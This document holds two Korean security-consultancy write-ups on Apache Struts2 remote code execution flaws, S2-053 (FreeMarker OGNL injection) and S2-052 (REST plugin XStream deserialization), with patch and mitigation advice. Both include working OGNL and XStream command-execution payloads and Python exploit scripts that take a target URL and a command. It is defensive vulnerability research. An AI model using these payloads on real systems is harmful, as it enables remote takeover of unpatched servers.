daesun8292@a3security.com

TeamCR@K

황대선 선임컨설턴트


취약점 번호 : CVE-2017-12611(S2-503)

영향받는 버전 : Struts 2.0.1 - Structs2.3.33 , Struts 2.5 - Struts 2.5.10

영향받지 않는 버전 : Struts 2.5.12, Struts 2.3.32


개요

 - Apache Struts2 에서 임의 코드 실행이 가능한 취약점이 발견


내용

 - FreeMakrer 태그의 잘못된 구성으로 사용할 때 요청 값에 원격 코드 실행이 가능한 취약점

 - 매개 변수에 Rewrite가 되도록 %{} 구문을 사용하여 전송하는 경우에 해당 구문이 실행됨.


Freemarker 란?

 - 프리마커는 자바 서블릿을 위한 오픈소스 HTML 템플릿 엔진이다.

 - 프리마커에서는 HTML을 템플릿으로 저장하는데 이들은 결국 템플릿객체로 컴파일 된다. 

 - 프리마커 객체들은 서블릿에서 제공하는 데이터들을 이용하여 HTML을 동적으로 생성한다.


Freemarker 구조

 - FreeMarker는 표현의 결과물을 HTML(템플릿)로 관리하고 여기에 자바 객체를 연결하여 최종적인 결과를 만들어낸다.

[그림 1] Freemarker 구조


Poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}


freemarker 취약점이 존재하는 환경 구성을 진행하였습니다.

[그림 2] freemarker 취약점이 존재하는 환경 구성


name 파라미터에 입력 후 value 값에 ${}로 출력하는 소스코드를 확인하였습니다.

[그림 3] freemarker취약점이 존재하는 소스코드 확인


웹 프록시를 이용하여 GET -> POST로 바꾼 후 name 파라미터 값에 %25{100-3} 삽입 시 결과 값으로 97이 출력되는 것을 확인하였습니다.

[그림 4] 취약점 테스트 확인


공격구문을 URL 인코딩 후 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 5] RCE발생 확인


Python 소스코드

# -*- coding:utf-8 -*-

import sys

import requests

from urllib import quote


def exploit(url,cmd):

    payload = "%{"

    payload += "(#_='multipart/form-data')."

    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

    payload += "(#_memberAccess?"

    payload += "(#_memberAccess=#dm):"

    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

    payload += "(#ognlUtil.getExcludedPackageNames().clear())."

    payload += "(#ognlUtil.getExcludedClasses().clear())."

    payload += "(#context.setMemberAccess(#dm))))."

    payload += "(#cmd='%s')." % cmd

    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

    payload += "(#p.redirectErrorStream(true))."

    payload += "(#process=#p.start())."

    payload += "(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}."

    payload += "}"

 

    data={

        "name" : payload,

        }

    print(data)


if __name__ == "__main__":

    if len(sys.argv)!= 3:

           print "Usage S2-053.py <url> <cmd>" %(sys.argv[0])

           sys.exit(0)

 

    print "[*] exploit Apache Struts2 S2-053"

    url = sys.argv[1]

    cmd = sys.argv[2]

 

    exploit(url, cmd)


[그림 6] 작성한 공격코드 실행


프록시를 통해 공격구문을 입력하여 접근 시, strace 를 통해 분석하였습니다. (요청 값 확인)

[그림 7] 요청 값 확인


[그림 8] /usr/bash 명령어 실행


[그림 9] /usr/sbin/ifconfig 명령어 실행


[그림 10] ifconfig 명령어 응답


대응 방안

 - 취약점에 영향을 받지 않는 버전으로 업데이트 수행(Apache Struts 2.5.12, Apache Struts 2.3.34)

 - 읽기만 가능한 속성을 이용하여 value 값 초기화(getter 속성에 한하여)

 - freemarker 미사용

dkgang@a3security.com

TeamCR@K
강다경 컨설턴트 (A.K.A 따구)


1. 취약점 개요

Apache struts2에서 REST Plugin을 이용해 통신할 때 공격자가 임의의 명령어를 전송할 경우 데이터에 대해 체크 없이 deseriallize되어 서버에서 해당 명령어가 실행이 되는 RCE(Remote Code Execute)가 가능한 취약점 입니다.


2. 영향을 받는 제품 및 버전

  - Apache Struts 2.1.2~2.3.33

  - Apache Struts 2.5~2.5.12


3. PoC 테스트 환경

 Server(victim) - 192.168.44.135

  - CentOS Linux 7

  - Apache Tomcat 7.0

  - Apache Struts 2.3.15.1

 Client(Attacker) - 192.168.44.134

  - Kali Linux 4.9


4. PoC 테스트

먼저 GET에서 POST로 method를 변경한뒤,

header 에 Content-Type 을 application/xml 로,

Data에 XML payload를 삽입하여 요청패킷을 전송합니다.

이번 테스트는 서버에서 firefox가 실행되도록 명령어를 전송하였습니다.


[그림 1] payload전송 - 1


[그림 2] payload전송 - 2


서버에서 RCE(Remote Code Execute)가 발생하여 firefox가 실행되는 것을 확인하였습니다.

[그림 3] RCE로 firefox실행 확인


payload를 이용하여 다음과 같이 공격코드를 작성하였습니다.

import requests

import sys


def exploit(url, cmd):

    url = url

    cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])

    payload = """

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        {0}

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer/>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

""".format(cmd)

    headers = {

        'Referer': str(url),

        'Content-Type': 'application/xml',

        'Accept': '*/*'

    }

    timeout = 3

    try:

        output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text

    except Exception as e:

        print("@@EXCEPTION:" + str(e))

        output = 'ERROR'

    return(output)



if __name__ == '__main__':

    if len(sys.argv) != 3:

        print "usage:python %s <url> <cmd>"%(sys.argv[0])

        sys.exit(0)


    print "[*] exploit Apache Struts2 S2-052"

    url = sys.argv[1]

    cmd = sys.argv[2]


    print "[*] URL:%s" %url

    print "[*] CMD:%s" %cmd


    exploit(url, cmd)


작성한 코드를 이용하여 정상적으로 Reverse Connection이 가능한 것을 확인하였습니다.

[그림 4] 공격코드를 이용해 Reverse Connection가능 확인


5. 조치 방법

 - Struts 2.5.13 혹은 2.3.34 버전으로 업그레이드

 - 사용하지 않는 REST 플러그인 삭제

 - XML 지원 삭제


6. patche 분석

Rest Plug-in 구성을 살펴보았습니다.

[그림 5] Rest Plug-in 구성 확인


patche 전 버전과 patche 후 버전의 XstreamHandler.class를 비교해 보았습니다.

XML 문서의 데이터가 XStream desrialization을 하는 동안 방지하기 악의적인 명령이 실행되는 것을 방지 하기 위해 허용목록이 지정되어 있습니다.

[그림 6] S2-052 취약점 패치 전, 후버전의 XstreamHandler.class 비교


7. 참조

https://struts.apache.org/docs/s2-052.html

https://medium.com/@0x00pentester/apache-struts2-rce-cve-2017-9805-4c6f58b622cb